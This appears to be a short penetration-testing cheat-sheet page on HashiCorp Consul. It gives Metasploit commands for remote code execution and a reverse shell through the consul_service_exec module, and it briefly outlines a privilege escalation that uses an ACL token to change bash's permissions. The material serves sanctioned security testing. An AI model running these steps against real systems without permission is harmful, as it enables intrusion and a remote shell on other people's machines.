githubEdit

HashiCorp Consul Pentesting

An open-source service networking platform developed by HashiCorp. A default port is 8500.

Interesting Files in Target System

If we are in the target system, we can investigate the following files:

cat /etc/consul.d/config.json

RCE

Resource: Pentester Academy Blogarrow-up-right

Using Metasploit, we may be able to execute command and get a reverse shell. Run the following commands in your local machine.

msfconsole
msf> use exploit/multi/misc/consul_service_exec
msf> set rhosts <target-ip>
msf> set lhost <your-ip>
msf> run
# Session created...
msf> shell # Spawn the shell
whoami # Run command in the target system

Privilege Escalation

If you have the ACL token (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxx), you may be able to privilege escalation. First, create a script which changes the permission of ‘bash’.

Then curl.

KV (Key/Value) Store

Last updated